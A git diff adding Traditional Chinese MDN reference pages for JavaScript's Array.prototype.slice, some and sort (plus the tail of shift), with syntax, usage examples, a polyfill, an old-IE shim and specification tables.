+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.9', 'Array.prototype.shift')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.shift', 'Array.prototype.shift')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.shift', 'Array.prototype.shift')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.shift")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/slice/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/slice/index.html
new file mode 100644
index 0000000000..e9cb1fb02c
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/slice/index.html
@@ -0,0 +1,242 @@
+---
+title: Array.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/Array/slice
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>slice()</strong></code> 方法會回傳一個新陣列物件，為原陣列選擇之 <code>begin</code> 至 <code>end</code>（不含 <code>end</code>）部分的淺拷貝（shallow copy）。而原本的陣列將不會被修改。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-slice.html")}}</div>
+
+<p class="hidden">The source for this interactive demo is stored in a GitHub repository. If you'd like to contribute to the interactive demo project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate"><var>arr</var>.slice(<em>[</em><var>begin[</var>, <var>end]]</var>)
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>begin</code> {{optional_inline}}</dt>
+ <dd>自哪一個索引（起始為 0）開始提取拷貝。</dd>
+ <dd>可使用負數索引，表示由陣列的最末項開始提取。<code>slice(-2)</code> 代表拷貝陣列中的最後兩個元素。</dd>
+ <dd>假如 <code>begin</code> 為 undefined，則 <code>slice</code> 會從索引 <code>0</code> 開始提取。</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>至哪一個索引（起始為 0）<em>之前</em>停止提取。<code>slice</code> 提取但不包含至索引 <code>end</code>。</dd>
+ <dd>舉例來說，<code>slice(1,4)</code> 提取了陣列中第二個元素至第四個元素前為止（元素索引 1、2 以及 3）來拷貝。</dd>
+ <dd>可使用負數索引，表示由陣列的最末項開始提取。<code>slice(2,-1)</code> 代表拷貝陣列中第三個元素至倒數第二個元素。</dd>
+ <dd>若省略了 <code>end</code>，則 <code>slice</code> 會提取至陣列的最後一個元素（<code>arr.length</code>）。</dd>
+ <dd>假如 <code>end</code> 大於陣列的長度，<code>slice</code> 會提取至陣列的最後一個元素（<code>arr.length</code>）。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個包含提取之元素的新陣列。</p>
+
+<h2 id="說明">說明</h2>
+
+<p><code>slice</code> 不會修改原本的陣列，而是回傳由原本的陣列淺層複製的元素。原始陣列的元素會按照下列規則拷貝：</p>
+
+<ul>
+ <li>如果該元素是個對象引用（不是實際的對象），<code>slice</code> 會拷貝這個對象引用到新的陣列內。兩個對象引用都引用了同一個對象。如果被引用的對象發生改變，則新的和原來的陣列中的這個元素也會發生改變。</li>
+ <li>對於字串、數字、布林來說 (不是 <a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/String"><code>String</code></a>、<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Number"><code>Number</code></a> 或者 <a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Boolean"><code>Boolean</code></a> 對象), <code>slice</code> 會拷貝這些值到新的陣列內。在別的陣列內修改這些字串、數字或是布林，將不會影響另一個陣列。</li>
+</ul>
+
+<p>如果添加了新的元素到另一個陣列內，則另一個不會受到影響。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Return_a_portion_of_an_existing_array">Return a portion of an existing array</h3>
+
+<pre class="brush: js notranslate">var fruits = ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango'];
+var citrus = fruits.slice(1, 3);
+
+// fruits contains ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']
+// citrus contains ['Orange','Lemon']
+</pre>
+
+<h3 id="Using_slice">Using <code>slice</code></h3>
+
+<p>In the following example, <code>slice</code> creates a new array, <code>newCar</code>, from <code>myCar</code>. Both include a reference to the object <code>myHonda</code>. When the color of <code>myHonda</code> is changed to purple, both arrays reflect the change.</p>
+
+<pre class="brush: js notranslate">// Using slice, create newCar from myCar.
+var myHonda = { color: 'red', wheels: 4, engine: { cylinders: 4, size: 2.2 } };
+var myCar = [myHonda, 2, 'cherry condition', 'purchased 1997'];
+var newCar = myCar.slice(0, 2);
+
+// Display the values of myCar, newCar, and the color of myHonda
+//  referenced from both arrays.
+console.log('myCar = ' + JSON.stringify(myCar));
+console.log('newCar = ' + JSON.stringify(newCar));
+console.log('myCar[0].color = ' + myCar[0].color);
+console.log('newCar[0].color = ' + newCar[0].color);
+
+// Change the color of myHonda.
+myHonda.color = 'purple';
+console.log('The new color of my Honda is ' + myHonda.color);
+
+// Display the color of myHonda referenced from both arrays.
+console.log('myCar[0].color = ' + myCar[0].color);
+console.log('newCar[0].color = ' + newCar[0].color);
+</pre>
+
+<p>This script writes:</p>
+
+<pre class="brush: js notranslate">myCar = [{color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}, 2,
+         'cherry condition', 'purchased 1997']
+newCar = [{color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}, 2]
+myCar[0].color = red
+newCar[0].color = red
+The new color of my Honda is purple
+myCar[0].color = purple
+newCar[0].color = purple
+</pre>
+
+<h2 id="類陣例（Array-like）物件">類陣例（Array-like）物件</h2>
+
+<p><code>slice</code> method can also be called to convert Array-like objects / collections to a new Array. You just bind the method to the object. The {{jsxref("Functions/arguments", "arguments")}} inside a function is an example of an 'array-like object'.</p>
+
+<pre class="brush: js notranslate">function list() {
+  return Array.prototype.slice.call(arguments);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<p>Binding can be done with the .<code>call</code> function of {{jsxref("Function.prototype")}} and it can also be reduced using <code>[].slice.call(arguments)</code> instead of <code>Array.prototype.slice.call</code>. Anyway, it can be simplified using {{jsxref("Function.prototype.bind", "bind")}}.</p>
+
+<pre class="brush: js notranslate">var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.call.bind(unboundSlice);
+
+function list() {
+  return slice(arguments);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<h2 id="Streamlining_cross-browser_behavior">Streamlining cross-browser behavior</h2>
+
+<p>Although host objects (such as DOM objects) are not required by spec to follow the Mozilla behavior when converted by <code>Array.prototype.slice</code> and IE &lt; 9 does not do so, versions of IE starting with version 9 do allow this. “Shimming” it can allow reliable cross-browser behavior. As long as other modern browsers continue to support this ability, as currently do IE, Mozilla, Chrome, Safari, and Opera, developers reading (DOM-supporting) slice code relying on this shim will not be misled by the semantics; they can safely rely on the semantics to provide the now apparently <em>de facto</em> standard behavior. (The shim also fixes IE to work with the second argument of <code>slice()</code> being an explicit {{jsxref("null")}}/{{jsxref("undefined")}} value as earlier versions of IE also did not allow but all modern browsers, including IE &gt;= 9, now do.)</p>
+
+<pre class="brush: js notranslate">/**
+ * Shim for "fixing" IE's lack of support (IE &lt; 9) for applying slice
+ * on host objects like NamedNodeMap, NodeList, and HTMLCollection
+ * (technically, since host objects have been implementation-dependent,
+ * at least before ES2015, IE hasn't needed to work this way).
+ * Also works on strings, fixes IE &lt; 9 to allow an explicit undefined
+ * for the 2nd argument (as in Firefox), and prevents errors when
+ * called on other DOM objects.
+ */
+(function () {
+  'use strict';
+  var _slice = Array.prototype.slice;
+
+  try {
+    // Can't be used with DOM elements in IE &lt; 9
+    _slice.call(document.documentElement);
+  } catch (e) { // Fails in IE &lt; 9
+    // This will work for genuine arrays, array-like objects,
+    // NamedNodeMap (attributes, entities, notations),
+    // NodeList (e.g., getElementsByTagName), HTMLCollection (e.g., childNodes),
+    // and will not fail on other DOM objects (as do DOM elements in IE &lt; 9)
+    Array.prototype.slice = function(begin, end) {
+      // IE &lt; 9 gets unhappy with an undefined end argument
+      end = (typeof end !== 'undefined') ? end : this.length;
+
+      // For native Array objects, we use the native slice function
+      if (Object.prototype.toString.call(this) === '[object Array]'){
+        return _slice.call(this, begin, end);
+      }
+
+      // For array like object we handle it ourselves.
+      var i, cloned = [],
+        size, len = this.length;
+
+      // Handle negative value for "begin"
+      var start = begin || 0;
+      start = (start &gt;= 0) ? start : Math.max(0, len + start);
+
+      // Handle negative value for "end"
+      var upTo = (typeof end == 'number') ? Math.min(end, len) : len;
+      if (end &lt; 0) {
+        upTo = len + end;
+      }
+
+      // Actual expected size of the slice
+      size = upTo - start;
+
+      if (size &gt; 0) {
+        cloned = new Array(size);
+        if (this.charAt) {
+          for (i = 0; i &lt; size; i++) {
+            cloned[i] = this.charAt(start + i);
+          }
+        } else {
+          for (i = 0; i &lt; size; i++) {
+            cloned[i] = this[start + i];
+          }
+        }
+      }
+
+      return cloned;
+    };
+  }
+}());
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.10', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.slice', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.slice', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.slice")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/some/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/some/index.html
new file mode 100644
index 0000000000..7dd0fbdf34
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/some/index.html
@@ -0,0 +1,217 @@
+---
+title: Array.prototype.some()
+slug: Web/JavaScript/Reference/Global_Objects/Array/some
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/some
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>some()</strong></code> 方法會透過給定函式、測試陣列中是否至少有一個元素，通過該函式所實作的測試。這方法回傳的是布林值。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-some.html")}}</div>
+
+<div class="note">
+<p><strong>注意</strong>：如果輸入空陣列的話，這個方法會回傳 <code>false</code>。</p>
+</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.some(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>用來測試每一個元素的函式，它包含三個引數：
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>目前正要被處理的陣列元素。</dd>
+  <dt><code>index{{Optional_inline}}</code></dt>
+  <dd>目前正要被處理的陣列元素之索引值。</dd>
+  <dt><code>array{{Optional_inline}}</code></dt>
+  <dd>呼叫 <code>some()</code> 的陣列。</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg{{Optional_inline}}</code></dt>
+ <dd>執行 <code>callback</code> 回呼函式的 <code>this</code> 值。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>若回呼函式在處理任何一個陣列元素時得到 {{Glossary("truthy")}} 值，則回傳 <code><strong>true</strong></code>。否則，回傳值為 <code><strong>false</strong></code>。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>The <code>some()</code> method executes the <code>callback</code> function once for each element present in the array until it finds the one where <code>callback</code> returns a <em>truthy</em> value (a value that becomes true when converted to a Boolean). If such an element is found, <code>some()</code> immediately returns <code>true</code>. Otherwise, <code>some()</code> returns <code>false</code>. <code>callback</code> is invoked only for indexes of the array with assigned values. It is not invoked for indexes which have been deleted or which have never been assigned values.</p>
+
+<p><code>callback</code> is invoked with three arguments: the value of the element, the index of the element, and the Array object being traversed.</p>
+
+<p>If a <code>thisArg</code> parameter is provided to <code>some()</code>, it will be used as the callback's <code>this</code> value. Otherwise, the value {{jsxref("undefined")}} will be used as its <code>this</code> value. The <code>this</code> value ultimately observable by <code>callback</code> is determined according to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">the usual rules for determining the <code>this</code> seen by a function</a>.</p>
+
+<p><code>some()</code> does not mutate the array on which it is called.</p>
+
+<p>The range of elements processed by <code>some()</code> is set before the first invocation of <code>callback</code>. Elements appended to the array after the call to <code>some()</code> begins will not be visited by <code>callback</code>. If an existing, unvisited element of the array is changed by <code>callback</code>, its value passed to the visiting <code>callback</code> will be the value at the time that <code>some()</code> visits that element's index. Elements that are deleted are not visited.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="測試陣列元素的數值">測試陣列元素的數值</h3>
+
+<p>以下範例將測試是否最少有一個元素的數值大於 10。</p>
+
+<pre class="brush: js">function isBiggerThan10(element, index, array) {
+  return element &gt; 10;
+}
+
+[2, 5, 8, 1, 4].some(isBiggerThan10);  // false
+[12, 5, 8, 1, 4].some(isBiggerThan10); // true</pre>
+
+<p>{{ EmbedLiveSample('Testing_value_of_array_elements', '', '', '', 'Web/JavaScript/Reference/Global_Objects/Array/some') }}</p>
+
+<h3 id="使用箭頭函式測試">使用箭頭函式測試</h3>
+
+<p><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/Arrow_functions">箭頭函式</a>能給相同的測試，提供更簡潔的語法。</p>
+
+<pre class="brush: js">[2, 5, 8, 1, 4].some(x =&gt; x &gt; 10); //false
+[12, 5, 8, 1, 4].some(x =&gt; x &gt; 10); // true</pre>
+
+<p>{{ EmbedLiveSample('Testing_array_elements_using_arrow_functions', '', '', '', 'Web/JavaScript/Reference/Global_Objects/Array/some') }}</p>
+
+<h3 id="測試陣列元素的數值是否存在">測試陣列元素的數值是否存在</h3>
+
+<p>To mimic the function of the <code>includes()</code> method, this custom function returns <code>true</code> if the element exists in the array:</p>
+
+<pre class="brush: js">const fruits = ['apple', 'banana', 'mango', 'guava'];
+
+function checkAvailability(arr, val) {
+  return arr.some(function(arrVal) {
+    return val === arrVal;
+  });
+}
+
+checkAvailability(fruits, 'kela');   // false
+checkAvailability(fruits, 'banana'); // true</pre>
+
+<p>{{ EmbedLiveSample('Checking_whether_a_value_exists_in_an_array', '', '', '', 'Web/JavaScript/Reference/Global_Objects/Array/some') }}</p>
+
+<h3 id="Checking_whether_a_value_exists_using_an_arrow_function">Checking whether a value exists using an arrow function</h3>
+
+<pre class="brush: js">const fruits = ['apple', 'banana', 'mango', 'guava'];
+
+function checkAvailability(arr, val) {
+  return arr.some(arrVal =&gt; val === arrVal);
+}
+
+checkAvailability(fruits, 'kela');   // false
+checkAvailability(fruits, 'banana'); // true</pre>
+
+<p>{{ EmbedLiveSample('Checking_whether_a_value_exists_using_an_arrow_function', '', '', '', 'Experiment:StaticExamplesOnTop/JavaScript/Array/some') }}</p>
+
+<h3 id="Converting_any_value_to_Boolean">Converting any value to Boolean</h3>
+
+<pre class="brush: js">const TRUTHY_VALUES = [true, 'true', 1];
+
+function getBoolean(value) {
+  'use strict';
+
+  if (typeof value === 'string') {
+    value = value.toLowerCase().trim();
+  }
+
+  return TRUTHY_VALUES.some(function(t) {
+    return t === value;
+  });
+}
+
+getBoolean(false);   // false
+getBoolean('false'); // false
+getBoolean(1);       // true
+getBoolean('true');  // true</pre>
+
+<p>{{ EmbedLiveSample('Converting_any_value_to_Boolean', '', '', '', 'Web/JavaScript/Reference/Global_Objects/Array/some') }}</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>some()</code> was added to the ECMA-262 standard in the 5th edition, and it may not be present in all implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>some()</code> in implementations which do not natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming {{jsxref("Object")}} and {{jsxref("TypeError")}} have their original values and that <code>fun.call</code> evaluates to the original value of {{jsxref("Function.prototype.call()")}}.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.17
+// Reference: http://es5.github.io/#x15.4.4.17
+if (!Array.prototype.some) {
+  Array.prototype.some = function(fun, thisArg) {
+    'use strict';
+
+    if (this == null) {
+      throw new TypeError('Array.prototype.some called on null or undefined');
+    }
+
+    if (typeof fun !== 'function') {
+      throw new TypeError();
+    }
+
+    var t = Object(this);
+    var len = t.length &gt;&gt;&gt; 0;
+
+    for (var i = 0; i &lt; len; i++) {
+      if (i in t &amp;&amp; fun.call(thisArg, t[i], i, t)) {
+        return true;
+      }
+    }
+
+    return false;
+  };
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Polyfill', '', '', '', 'Web/JavaScript/Reference/Global_Objects/Array/some') }}</p>
+
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.17', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>初始定義。在 JavaScript 1.6 實作。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.some")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.some()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/sort/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/sort/index.html
new file mode 100644
index 0000000000..7240184a75
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/sort/index.html
@@ -0,0 +1,248 @@
+---
+title: Array.prototype.sort()
+slug: Web/JavaScript/Reference/Global_Objects/Array/sort
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>sort()</strong></code> 方法會<em><a href="https://zh.wikipedia.org/wiki/%E5%8E%9F%E5%9C%B0%E7%AE%97%E6%B3%95">原地（in place）</a></em>對一個陣列的所有元素進行排序，並回傳此陣列。排序不一定是<a href="https://zh.wikipedia.org/wiki/%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95#%E7%A9%A9%E5%AE%9A%E6%80%A7">穩定的（stable）</a>。預設的排序順序是根據字串的 Unicode 編碼位置（code points）而定。</p>
+
+<p>由於依賴執行環境的實作，所以並不能保證排序的時間及空間複雜度。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-sort.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.sort(<var>[compareFunction]</var>)
+</pre>
+
+<h3 id="Parameters" name="Parameters">參數</h3>
+
+<dl>
+ <dt><code>compareFunction</code> {{optional_inline}}</dt>
+ <dd>指定一個函式來定義排序順序。假如省略此參數，陣列將根據各個元素轉為字串後的每一個字元之 <a href="/zh-TW/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Unicode">Unicode</a> 編碼位置值進行排序。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>排序後的陣列。請注意此為<em><a href="https://zh.wikipedia.org/wiki/%E5%8E%9F%E5%9C%B0%E7%AE%97%E6%B3%95">原地（in place）</a></em>進行排序過的陣列，並且不是原陣列的拷貝。</p>
+
+<h2 id="Description" name="Description">描述</h2>
+
+<p>如果 <code>compareFunction</code> 沒有被應用，元素將被轉換為字串並以 Unicode 編碼位置進行比較來排序。舉例來說，"Banana" 會被排在 "cherry" 之前。在數值排序中，9 排在 80 前面，但因為數字被轉換成字串，在 Unicode 順序中 "80" 會在 "9" 的前面。</p>
+
+<p>如果 <code>compareFunction</code> 被應用，陣列元素們將根據比較函式之回傳值來排序。如果 <code>a</code> 和 <code>b</code> 為被比較之兩元素，則：</p>
+
+<ul>
+ <li>若 <code>compareFunction(a, b)</code> 的回傳值小於 0，則會把 <code>a</code> 排在小於 <code>b</code> 之索引的位置，即 <code>a</code> 排在 <code>b</code> 前面。</li>
+ <li>若 <code>compareFunction(a, b)</code> 回傳 0，則 <code>a</code> 與 <code>b</code> 皆不會改變彼此的順序，但會與其他全部的元素比較來排序。備註：ECMAscript 標準並不保證這個行為，因此不是所有瀏覽器（如 Mozilla 版本在 2003 以前）都遵守此行為。</li>
+ <li>若 <code>compareFunction(a, b)</code> 的回傳值大於 0，則會把 <code>b</code> 排在小於 <code>a</code> 之索引的位置，即 <code>b</code> 排在 <code>a</code> 前面。</li>
+ <li><code>compareFunction(a, b)</code> 在給予一組特定元素 a 及 b 為此函數之兩引數時必須總是回傳相同的值。若回傳值不一致，排序順序則為 undefined。</li>
+</ul>
+
+<p>所以，比較函式會是以下形式：</p>
+
+<pre class="brush: js">function compare(a, b) {
+  if (在某排序標準下 a 小於 b) {
+    return -1;
+  }
+  if (在某排序標準下 a 大於 b) {
+    return 1;
+  }
+  // a 必須等於 b
+  return 0;
+}
+</pre>
+
+<p>為了比較數字而不是字串，比較函式可以僅僅利用 <code>a</code> 減 <code>b</code>。以下函式將會升冪排序陣列：</p>
+
+<pre class="brush: js">function compareNumbers(a, b) {
+  return a - b;
+}
+</pre>
+
+<p><code>sort</code> 方法可以直接使用{{jsxref("Operators/function", "函式運算式", "", 1)}}（以及<a href="/zh-TW/docs/Web/JavaScript/Guide/Closures">閉包（closures）</a>）：</p>
+
+<pre class="brush: js">var numbers = [4, 2, 5, 1, 3];
+numbers.sort(function(a, b) {
+  return a - b;
+});
+console.log(numbers);
+
+// [1, 2, 3, 4, 5]
+</pre>
+
+<p>物件可以按照其中一個屬性的值來排序。</p>
+
+<pre class="brush: js">var items = [
+  { name: 'Edward', value: 21 },
+  { name: 'Sharpe', value: 37 },
+  { name: 'And', value: 45 },
+  { name: 'The', value: -12 },
+  { name: 'Magnetic', value: 13 },
+  { name: 'Zeros', value: 37 }
+];
+
+// sort by value
+items.sort(function (a, b) {
+  return a.value - b.value;
+});
+
+// sort by name
+items.sort(function(a, b) {
+  var nameA = a.name.toUpperCase(); // ignore upper and lowercase
+  var nameB = b.name.toUpperCase(); // ignore upper and lowercase
+  if (nameA &lt; nameB) {
+    return -1;
+  }
+  if (nameA &gt; nameB) {
+    return 1;
+  }
+
+  // names must be equal
+  return 0;
+});</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Example:_Creating.2C_displaying.2C_and_sorting_an_array" name="Example:_Creating.2C_displaying.2C_and_sorting_an_array">建立、顯示及排序一個陣列</h3>
+
+<p>下列範例建立了四個陣列並顯示其原本陣列內容、再進行排序。數字陣列先不使用比較函式（compare function）來排序，接著才依據比較函式進行排序。</p>
+
+<pre class="brush: js">var stringArray = ['Blue', 'Humpback', 'Beluga'];
+var numericStringArray = ['80', '9', '700'];
+var numberArray = [40, 1, 5, 200];
+var mixedNumericArray = ['80', '9', '700', 40, 1, 5, 200];
+
+function compareNumbers(a, b) {
+  return a - b;
+}
+
+console.log('stringArray:', stringArray.join());
+console.log('Sorted:', stringArray.sort());
+
+console.log('numberArray:', numberArray.join());
+console.log('Sorted without a compare function:', numberArray.sort());
+console.log('Sorted with compareNumbers:', numberArray.sort(compareNumbers));
+
+console.log('numericStringArray:', numericStringArray.join());
+console.log('Sorted without a compare function:', numericStringArray.sort());
+console.log('Sorted with compareNumbers:', numericStringArray.sort(compareNumbers));
+
+console.log('mixedNumericArray:', mixedNumericArray.join());
+console.log('Sorted without a compare function:', mixedNumericArray.sort());
+console.log('Sorted with compareNumbers:', mixedNumericArray.sort(compareNumbers));
+</pre>
+
+<p>這個範例將產生下列結果。就如結果所示，當使用比較函式時，數字會被正確的排序，不管是數字還是數字字串。</p>
+
+<pre>stringArray: Blue,Humpback,Beluga
+Sorted: Beluga,Blue,Humpback
+
+numberArray: 40,1,5,200
+Sorted without a compare function: 1,200,40,5
+Sorted with compareNumbers: 1,5,40,200
+
+numericStringArray: 80,9,700
+Sorted without a compare function: 700,80,9
+Sorted with compareNumbers: 9,80,700
+
+mixedNumericArray: 80,9,700,40,1,5,200
+Sorted without a compare function: 1,200,40,5,700,80,9
+Sorted with compareNumbers: 1,5,9,40,80,200,700
+</pre>
+
+<h3 id="Example:_Sorting_non-ASCII_characters" name="Example:_Sorting_non-ASCII_characters">排序非 ASCII 字元</h3>
+
+<p>為了排列非 ASCII 字元，即重音節字元（e、é、è、a、ä 等等），非英語字串：利用 {{jsxref("String.localeCompare")}}。此函式將比較這些字元，所以結果將會顯示正確的順序。</p>
+
+<pre class="brush: js">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu'];
+items.sort(function (a, b) {
+  return a.localeCompare(b);
+});
+
+// items is ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé']
+</pre>
+
+<h3 id="Example:_Sorting_maps" name="Example:_Sorting_maps">排序 map</h3>
+
+<p><code>compareFunction</code> 可以被陣列中的各個元素多次呼叫。依據 <code>compareFunction</code> 的特性，這將會產生大量運算。越多元素要排序 <code>compareFunction</code> 就越多工作要做，因此選擇使用 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> 來排列也就是一個更明智的選擇。作法為先迭代陣列一次來取得排序時所需的值至暫時的陣列，並對此臨時陣列進行排序。然後再迭代臨時陣列來將正確順序之值放入原始陣列中。</p>
+
+<pre class="brush: js" dir="rtl">// the array to be sorted
+var list = ['Delta', 'alpha', 'CHARLIE', 'bravo'];
+
+// temporary array holds objects with position and sort-value
+var mapped = list.map(function(el, i) {
+  return { index: i, value: el.toLowerCase() };
+})
+
+// sorting the mapped array containing the reduced values
+mapped.sort(function(a, b) {
+  if (a.value &gt; b.value) {
+    return 1;
+  }
+  if (a.value &lt; b.value) {
+    return -1;
+  }
+  return 0;
+});
+
+// container for the resulting order
+var result = mapped.map(function(el){
+  return list[el.index];
+});
+</pre>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>初始定義。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.11', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.sort")}}</p>
+</div>
+
